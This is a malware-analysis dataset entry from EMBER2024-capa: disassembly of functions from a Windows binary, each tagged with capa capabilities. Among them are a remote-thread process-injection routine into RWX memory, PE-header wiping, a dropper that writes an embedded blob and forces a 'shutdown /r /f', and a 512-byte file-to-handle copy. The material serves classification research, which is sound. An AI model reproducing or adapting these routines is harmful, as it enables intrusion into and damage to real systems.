joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14012b850
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x168
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14012b8cd
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x14012b8ba
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
mov dword [0x1405f07f0], eax
mov eax, dword [rsp + 0x38]
jmp 0x14012b8da
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14012b888
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x168
ret

Function at 0x14012fa90
Capabilities:
Read .ini file

Disassembly:
vmovss dword [rsp + 0x20], xmm3
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
vmovss xmm1, dword [rsp + 0x98]
lea rcx, [rsp + 0x30]
call fcn.14015da70
mov rcx, rax
call fcn.1400e6b70
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
lea r9, [rsp + 0x50]
mov r8, rax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [rsp + 0x30]
call fcn.1400de750
nop
lea rcx, [rsp + 0x50]
call fcn.140382ef4
vcvtsd2ss xmm0, xmm0, xmm0
add rsp, 0x78
ret

Function at 0x14012fce0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rdi
sub rsp, 0x88
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 2]
lea rcx, [rbp + 0x20]
call fcn.1400ead60
mov rcx, rax
call fcn.140143720
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
je 0x14012fd57
mov eax, dword [rbp + 4]
and eax, 2
test eax, eax
je 0x14012fd57
mov dword [rbp + 8], 1
jmp 0x14012fd5e
mov dword [rbp + 8], 0
movzx eax, byte [rbp + 8]
add rsp, 0x88
pop rdi
pop rbp
ret
Function at 0x1401300b0
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x78
mov qword [rsp + 0x30], 0
cmp dword [rsp + 0x80], 0
jl 0x1401300f8
cmp dword [rsp + 0x80], 0x7c
jge 0x1401300f8
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x80]
lea rcx, [0x1405e5810]
call fcn.140130b10
nop
lea rcx, [rsp + 0x50]
call fcn.14010f1a0
nop
cmp qword [rsp + 0x30], 0
jne 0x14013011f
lea rdx, str.Select_Key
lea rcx, [rsp + 0x50]
call fcn.1400de8c0
nop
jmp 0x14013012f
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400de8c0
nop
cmp dword [rsp + 0x90], 1
jne 0x14013014b
lea rdx, str.Press_the_Key
lea rcx, [rsp + 0x50]
call fcn.1400de8c0
nop
vmovss xmm2, dword [0x1403b1b24]
vmovss xmm1, dword [0x1403bc3ac]
lea rcx, [rsp + 0x48]
call fcn.140088580
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x50]
call fcn.1400e6b70
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.1400deb30
movzx eax, al
test eax, eax
je 0x1401301c0
cmp dword [rsp + 0x90], 0
jne 0x1401301c0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x88]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x50]
call fcn.1400de750
nop
add rsp, 0x78
ret

Function at 0x140130b50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.1400e6b70
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 7
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x140130bab
xor al, al
jmp 0x140130c14
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x48], eax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x48], 0
je 0x140130c07
mov eax, dword [rsp + 0x40]
cmp rax, qword [rsp + 0x80]
jne 0x140130c07
mov dword [rsp + 0x44], 1
jmp 0x140130c0f
mov dword [rsp + 0x44], 0
movzx eax, byte [rsp + 0x44]
add rsp, 0x68
ret
Function at 0x14013cfe0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0x26f
mov qword [rsp + 0x30], 0xe3
mov qword [rsp], 0
jmp 0x14013d010
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0xe3
jae 0x14013d092
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x14013d05e
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x14013d066
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0x10]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14013d005
mov qword [rsp + 8], 0xe3
jmp 0x14013d0aa
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x26f
jae 0x14013d131
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x14013d0fb
mov dword [rsp + 0x1c], 0x9908b0df
jmp 0x14013d103
mov dword [rsp + 0x1c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x1c]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14013d09d
mov qword [rsp + 0x38], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14013d185
mov dword [rsp + 0x24], 0x9908b0df
jmp 0x14013d18d
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x20]
shr eax, 1
xor eax, dword [rsp + 0x24]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x50]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x50]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x50]
mov dword [rax], 0
add rsp, 0x48
ret
Function at 0x14013d1e0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x14013d201
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x14013d285
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x14013d250
mov dword [rsp + 4], 0x9908b0df
jmp 0x14013d258
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14013d1f4
add rsp, 0x18
ret

Function at 0x14014cd30
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x278
mov qword [rsp + 0x28], 0
mov edx, dword [rsp + 0x280]
mov ecx, Ordinal_27
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
je 0x14014cdb8
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x14014cdb8
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x14014cda5
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
jmp 0x14014cdb8
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x14014cd82
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x28]
add rsp, 0x278
ret
Function at 0x14014e190
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xd8
mov r8d, dword [rsp + 0xf0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14014e1d1
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x14014e1d8
xor al, al
jmp 0x14014e394
lea rdx, [0x1403b5fe8]
mov ecx, dword [rsp + 0xf0]
call fcn.14014cd30
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x14014e1ff
xor al, al
jmp 0x14014e394
lea r8, [0x1403ba790]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call fcn.14014cdd0
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x14014e229
xor al, al
jmp 0x14014e394
lea rax, [rsp + 0x80]
lea rcx, [0x1403ba7b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_79
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [rsp + 0x100]
test eax, eax
je 0x14014e25b
mov dword [rsp + 0x48], reloc.WS2_32.dll_recvfrom
jmp 0x14014e263
mov dword [rsp + 0x48], 0
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x9a], rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0xa5], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xab], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, reloc.WLDAP32.dll_Ordinal_79
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14014e2c8
xor al, al
jmp 0x14014e394
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_79
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14014e2fb
xor al, al
jmp 0x14014e394
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x14014e33f
cmp qword [rsp + 0x70], 0xffffffffffffffff
jne 0x14014e343
xor al, al
jmp 0x14014e394
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WLDAP32.dll_Ordinal_79
rep stosb byte [rdi], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_79
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14014e392
xor al, al
jmp 0x14014e394
mov al, 1
add rsp, 0xd8
pop rdi
pop rsi
ret
Function at 0x14014e3a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x168
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14014e41d
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x14014e40a
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
mov dword [0x1405f03b4], eax
mov eax, dword [rsp + 0x38]
jmp 0x14014e42a
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14014e3d8
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x168
ret
Function at 0x14014f200
Capabilities:
Set console window title

Disassembly:
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
lea rax, str.Nov__8_2024
mov qword [rbp + 0x10], rax
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 3]
lea rcx, [rbp + 0xe0]
call fcn.1400eb380
mov rcx, rax
call fcn.140143720
mov qword [rbp + 8], rax
mov edx, 0xa
lea rcx, [rbp + 0xa8]
call fcn.140157f50
mov rcx, rax
call fcn.1400e6b70
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x88]
call fcn.1400ddaf0
mov r8, qword [rbp + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.1400d0600
lea r8, [0x1403bac4c]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1400d0600
mov qword [rbp + 0x20], rax
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x28]
call fcn.1400d0600
lea rcx, [rbp + 0x48]
call fcn.1400de750
lea rcx, [rbp + 0x68]
call fcn.1400de750
lea rcx, [rbp + 0x88]
call fcn.1400de750
lea rcx, [rbp + 0xa8]
call fcn.1400de750
nop
lea rcx, [rbp + 0x28]
call fcn.1400e6b70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
mov byte [rbp + 2], 1
lea rcx, [rbp + 0x28]
call fcn.1400de750
movzx eax, byte [rbp + 2]
add rsp, 0x148
pop rdi
pop rbp
ret
Function at 0x14014fb80
Capabilities:
Set current directory

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.1400eb460
mov rcx, rax
call fcn.140143900
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400ddaf0
nop
mov r8d, 0x72e00
lea rdx, [0x140572700]
lea rcx, [rbp + 0x10]
call fcn.140130b50
nop
lea rax, [rbp + 2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 2]
movzx r8d, byte [rbp + 3]
movzx edx, byte [rbp + 9]
lea rcx, [rbp + 0x40]
call fcn.1400ed090
mov rcx, rax
call fcn.140143720
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
nop
lea rax, [rbp + 4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 4]
movzx r8d, byte [rbp + 5]
movzx edx, byte [rbp + 0xa]
lea rcx, [rbp + 0xa0]
call fcn.1400ee710
mov rcx, rax
call fcn.140143900
mov rcx, rax
call fcn.1403867b4
nop
lea rax, [rbp + 6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 7]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 6]
movzx r8d, byte [rbp + 7]
movzx edx, byte [rbp + 0xb]
lea rcx, [rbp + 0xe0]
call fcn.1400efa20
mov rcx, rax
call fcn.140143900
mov rcx, rax
call fcn.140130da0
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.shutdown__r__f__t_15__NUL_2_1
call fcn.1403867b4
xor ecx, ecx
call fcn.1403854c0
nop
lea rcx, [rbp + 0x10]
call fcn.1400de750
nop
add rsp, 0x168
pop rdi
pop rbp
ret
Function at 0x140153b20
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.1400eb510
mov rcx, rax
call fcn.140143900
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x10000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x20], rax
cmp qword [rbp + 0x20], 0xffffffffffffffff
jne 0x140153bb2
jmp 0x140153cb5
lea rax, [rbp + 2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 2]
movzx r8d, byte [rbp + 3]
movzx edx, byte [rbp + 9]
lea rcx, [rbp + 0x40]
call fcn.1400ed110
mov rcx, rax
call fcn.1401453e0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0xffffffffffffffff
jne 0x140153c2e
jmp 0x140153cb5
xor edx, edx
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0x200
je 0x140153c48
jmp 0x140153cb5
mov eax, dword [rbp + 4]
mov ecx, eax
call fcn.140364000
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x18]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140153ca0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x18]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x108
pop rdi
pop rbp
ret
Function at 0x140155e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
sub rsp, 0x60
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140155ea0
jmp 0x140156006
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov ecx, 8
call fcn.140380134
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 0
jmp 0x140155f0c
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
add rax, 0x28
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x140155fab
lea r9, [rsp + 0x24]
mov r8d, 0x40
mov edx, Ordinal_41
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.140385524
and eax, 0xff
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x30]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x30]
mov byte [rcx + rax], 0
mov rax, qword [rsp + 0x30]
mov dword [rax + 0xc], 0
mov rax, qword [rsp + 0x30]
mov dword [rax + 8], 0
mov rax, qword [rsp + 0x30]
mov dword [rax + 8], 0
lea r9, [rsp + 0x24]
mov r8d, dword [rsp + 0x24]
mov edx, Ordinal_41
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
jmp 0x140155ef4
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov edx, 8
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x28]
mov r8d, dword [rsp + 0x28]
mov edx, 8
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
add rsp, 0x60
pop rdi
ret
Function at 0x14015c9a0
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
movsx eax, byte [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
ret

Function at 0x14015f900
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x80], 0
jg 0x14015f925
xor eax, eax
jmp 0x14015fae6
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x14015f94d
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.14015fb20
jmp 0x14015fae6
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x70]
call fcn.14013aa00
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x14015f9ea
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.140089690
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x70]
call fcn.14014d990
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.1400e6bc0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call fcn.14014c4b0
nop
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x14015fad6
mov rcx, qword [rsp + 0x70]
call fcn.14013d330
mov qword [rsp + 0x58], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x14015fa8a
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140374390
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x14015fa88
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x14015fae6
jmp 0x14015fa10
cmp qword [rsp + 0x20], 0
jbe 0x14015fad6
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140374390
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x68
ret